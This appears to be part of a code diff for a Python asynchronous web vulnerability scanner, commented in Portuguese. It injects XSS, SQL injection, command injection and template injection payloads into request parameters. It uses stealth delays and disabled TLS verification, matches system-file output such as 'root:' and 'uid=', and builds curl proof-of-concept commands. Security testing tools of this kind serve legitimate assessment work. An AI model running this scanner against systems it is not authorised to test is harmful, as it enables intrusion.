+ verify=False
162
+ ) as client:
163
+
164
+ tasks = []
165
+ for target in self.targets:
166
+ if 'xss' in self.vuln_types:
167
+ tasks.append(self._test_xss(client, semaphore, target))
168
+ if 'sqli' in self.vuln_types:
169
+ tasks.append(self._test_sqli(client, semaphore, target))
170
+ if 'cmdi' in self.vuln_types:
171
+ tasks.append(self._test_cmdi(client, semaphore, target))
172
+ if 'ssti' in self.vuln_types:
173
+ tasks.append(self._test_ssti(client, semaphore, target))
174
+
175
+ with Progress() as progress:
176
+ task_id = progress.add_task("[cyan]Scanning...", total=len(tasks))
177
+
178
+ for coro in asyncio.as_completed(tasks):
179
+ await coro
180
+ progress.advance(task_id)
181
+
182
+ logger.info("vulnscan.complete", vulnerabilities=len(self.vulnerabilities))
183
+ return self.vulnerabilities
184
+
185
+ async def _test_xss(
186
+ self,
187
+ client: httpx.AsyncClient,
188
+ semaphore: asyncio.Semaphore,
189
+ target: Dict[str, Any]
190
+ ):
191
+ """Testa XSS."""
192
+ async with semaphore:
193
+ url = target['url']
194
+ method = target.get('method', 'GET')
195
+ params = target.get('params', {})
196
+
197
+ for param_name in params.keys():
198
+ for payload in self.XSS_PAYLOADS:
199
+ try:
200
+ # Stealth delay
201
+ if self.stealth_level > 0:
202
+ await asyncio.sleep(self.stealth_level * 0.2)
203
+
204
+ # Injeta payload
205
+ test_params = params.copy()
206
+ test_params[param_name] = payload
207
+
208
+ if method == 'GET':
209
+ response = await client.get(url, params=test_params)
210
+ else:
211
+ response = await client.post(url, data=test_params)
212
+
213
+ # Verifica se payload aparece na resposta
214
+ if payload in response.text:
215
+ # Verifica se não está encoded/escaped
216
+ if self._is_xss_exploitable(response.text, payload):
217
+ vuln = Vulnerability(
218
+ type='xss',
219
+ severity='high',
220
+ url=url,
221
+ parameter=param_name,
222
+ payload=payload,
223
+ method=method,
224
+ evidence=self._extract_evidence(response.text, payload),
225
+ poc=self._generate_poc(url, method, test_params)
226
+ )
227
+ self.vulnerabilities.append(vuln)
228
+
229
+ console.print(
230
+ f" [red]✗ XSS[/red] found in [cyan]{url}[/cyan] "
231
+ f"param: [yellow]{param_name}[/yellow]"
232
+ )
233
+
234
+ logger.warning(
235
+ "vulnscan.xss.found",
236
+ url=url,
237
+ param=param_name,
238
+ payload=payload[:50]
239
+ )
240
+ break
241
+
242
+ except Exception as e:
243
+ logger.debug("vulnscan.xss.error", error=str(e))
244
+
245
+ async def _test_sqli(
246
+ self,
247
+ client: httpx.AsyncClient,
248
+ semaphore: asyncio.Semaphore,
249
+ target: Dict[str, Any]
250
+ ):
251
+ """Testa SQL Injection."""
252
+ async with semaphore:
253
+ url = target['url']
254
+ method = target.get('method', 'GET')
255
+ params = target.get('params', {})
256
+
257
+ for param_name in params.keys():
258
+ # Get baseline
259
+ baseline = await self._get_baseline(client, url, method, params)
260
+
261
+ for payload in self.SQLI_PAYLOADS:
262
+ try:
263
+ if self.stealth_level > 0:
264
+ await asyncio.sleep(self.stealth_level * 0.2)
265
+
266
+ test_params = params.copy()
267
+ test_params[param_name] = payload
268
+
269
+ if method == 'GET':
270
+ response = await client.get(url, params=test_params)
271
+ else:
272
+ response = await client.post(url, data=test_params)
273
+
274
+ # Error-based detection
275
+ if self._has_sql_error(response.text):
276
+ vuln = Vulnerability(
277
+ type='sqli',
278
+ severity='critical',
279
+ url=url,
280
+ parameter=param_name,
281
+ payload=payload,
282
+ method=method,
283
+ evidence=self._extract_sql_error(response.text),
284
+ poc=self._generate_poc(url, method, test_params)
285
+ )
286
+ self.vulnerabilities.append(vuln)
287
+
288
+ console.print(
289
+ f" [red]✗ SQLi[/red] found in [cyan]{url}[/cyan] "
290
+ f"param: [yellow]{param_name}[/yellow]"
291
+ )
292
+
293
+ logger.warning(
294
+ "vulnscan.sqli.found",
295
+ url=url,
296
+ param=param_name,
297
+ payload=payload[:50]
298
+ )
299
+ break
300
+
301
+ # Boolean-based detection
302
+ if baseline and self._is_boolean_sqli(baseline, response):
303
+ vuln = Vulnerability(
304
+ type='sqli',
305
+ severity='high',
306
+ url=url,
307
+ parameter=param_name,
308
+ payload=payload,
309
+ method=method,
310
+ evidence=f"Response differs from baseline",
311
+ poc=self._generate_poc(url, method, test_params)
312
+ )
313
+ self.vulnerabilities.append(vuln)
314
+ break
315
+
316
+ except Exception as e:
317
+ logger.debug("vulnscan.sqli.error", error=str(e))
318
+
319
+ async def _test_cmdi(
320
+ self,
321
+ client: httpx.AsyncClient,
322
+ semaphore: asyncio.Semaphore,
323
+ target: Dict[str, Any]
324
+ ):
325
+ """Testa Command Injection."""
326
+ async with semaphore:
327
+ url = target['url']
328
+ method = target.get('method', 'GET')
329
+ params = target.get('params', {})
330
+
331
+ for param_name in params.keys():
332
+ for payload in self.CMD_PAYLOADS:
333
+ try:
334
+ test_params = params.copy()
335
+ test_params[param_name] = payload
336
+
337
+ if method == 'GET':
338
+ response = await client.get(url, params=test_params)
339
+ else:
340
+ response = await client.post(url, data=test_params)
341
+
342
+ # Verifica output de comandos
343
+ if self._has_cmd_output(response.text):
344
+ vuln = Vulnerability(
345
+ type='cmdi',
346
+ severity='critical',
347
+ url=url,
348
+ parameter=param_name,
349
+ payload=payload,
350
+ method=method,
351
+ evidence=self._extract_evidence(response.text, 'root|bin|usr|var'),
352
+ poc=self._generate_poc(url, method, test_params)
353
+ )
354
+ self.vulnerabilities.append(vuln)
355
+
356
+ console.print(
357
+ f" [red]✗ Command Injection[/red] found in [cyan]{url}[/cyan] "
358
+ f"param: [yellow]{param_name}[/yellow]"
359
+ )
360
+ break
361
+
362
+ except Exception as e:
363
+ logger.debug("vulnscan.cmdi.error", error=str(e))
364
+
365
+ async def _test_ssti(
366
+ self,
367
+ client: httpx.AsyncClient,
368
+ semaphore: asyncio.Semaphore,
369
+ target: Dict[str, Any]
370
+ ):
371
+ """Testa Server-Side Template Injection."""
372
+ async with semaphore:
373
+ url = target['url']
374
+ method = target.get('method', 'GET')
375
+ params = target.get('params', {})
376
+
377
+ for param_name in params.keys():
378
+ for payload in self.TEMPLATE_PAYLOADS:
379
+ try:
380
+ test_params = params.copy()
381
+ test_params[param_name] = payload
382
+
383
+ if method == 'GET':
384
+ response = await client.get(url, params=test_params)
385
+ else:
386
+ response = await client.post(url, data=test_params)
387
+
388
+ # Verifica se 7*7=49
389
+ if '49' in response.text and payload in response.text:
390
+ vuln = Vulnerability(
391
+ type='ssti',
392
+ severity='critical',
393
+ url=url,
394
+ parameter=param_name,
395
+ payload=payload,
396
+ method=method,
397
+ evidence='Template expression evaluated',
398
+ poc=self._generate_poc(url, method, test_params)
399
+ )
400
+ self.vulnerabilities.append(vuln)
401
+
402
+ console.print(
403
+ f" [red]✗ SSTI[/red] found in [cyan]{url}[/cyan] "
404
+ f"param: [yellow]{param_name}[/yellow]"
405
+ )
406
+ break
407
+
408
+ except Exception as e:
409
+ logger.debug("vulnscan.ssti.error", error=str(e))
410
+
411
+ async def _get_baseline(
412
+ self,
413
+ client: httpx.AsyncClient,
414
+ url: str,
415
+ method: str,
416
+ params: dict
417
+ ) -> Optional[httpx.Response]:
418
+ """Get baseline response."""
419
+ try:
420
+ if method == 'GET':
421
+ return await client.get(url, params=params)
422
+ else:
423
+ return await client.post(url, data=params)
424
+ except:
425
+ return None
426
+
427
+ def _is_xss_exploitable(self, html: str, payload: str) -> bool:
428
+ """Verifica se XSS é explorável (não escaped)."""
429
+ # Simplificado - verifica se payload aparece sem encoding
430
+ escaped_chars = ['&lt;', '&gt;', '&quot;', '&#', '\\"', "\\'"]
431
+ for char in escaped_chars:
432
+ if char in html:
433
+ # Pode estar encoded
434
+ return False
435
+ return True
436
+
437
+ def _has_sql_error(self, text: str) -> bool:
438
+ """Verifica se há erro SQL."""
439
+ for pattern in self.SQLI_ERRORS:
440
+ if re.search(pattern, text, re.IGNORECASE):
441
+ return True
442
+ return False
443
+
444
+ def _extract_sql_error(self, text: str) -> str:
445
+ """Extrai mensagem de erro SQL."""
446
+ for pattern in self.SQLI_ERRORS:
447
+ match = re.search(f"({pattern}[^\n]*)", text, re.IGNORECASE)
448
+ if match:
449
+ return match.group(1)[:200]
450
+ return "SQL error detected"
451
+
452
+ def _is_boolean_sqli(self, baseline: httpx.Response, response: httpx.Response) -> bool:
453
+ """Detecta Boolean-based SQLi."""
454
+ # Compara tamanhos de resposta
455
+ size_diff = abs(len(baseline.content) - len(response.content))
456
+ return size_diff > 100 # Diferença significativa
457
+
458
+ def _has_cmd_output(self, text: str) -> bool:
459
+ """Verifica se há output de comando."""
460
+ cmd_patterns = [r'root:', r'/bin/', r'/usr/', r'/var/', r'uid=', r'gid=']
461
+ for pattern in cmd_patterns:
462
+ if re.search(pattern, text, re.IGNORECASE):
463
+ return True
464
+ return False
465
+
466
+ def _extract_evidence(self, text: str, pattern: str) -> str:
467
+ """Extrai evidência."""
468
+ match = re.search(f"(.{{0,50}}{pattern}.{{0,50}})", text, re.IGNORECASE | re.DOTALL)
469
+ if match:
470
+ return match.group(1).strip()[:200]
471
+ return pattern
472
+
473
+ def _generate_poc(self, url: str, method: str, params: dict) -> str:
474
+ """Gera Proof of Concept."""
475
+ if method == 'GET':
476
+ query = urlencode(params)
477
+ return f"curl '{url}?{query}'"
478
+ else:
479
+ data = urlencode(params)
480
+ return f"curl -X POST '{url}' -d '{data}'"
481
+
482
+
483
+ __all__ = ["VulnScanner", "Vulnerability"]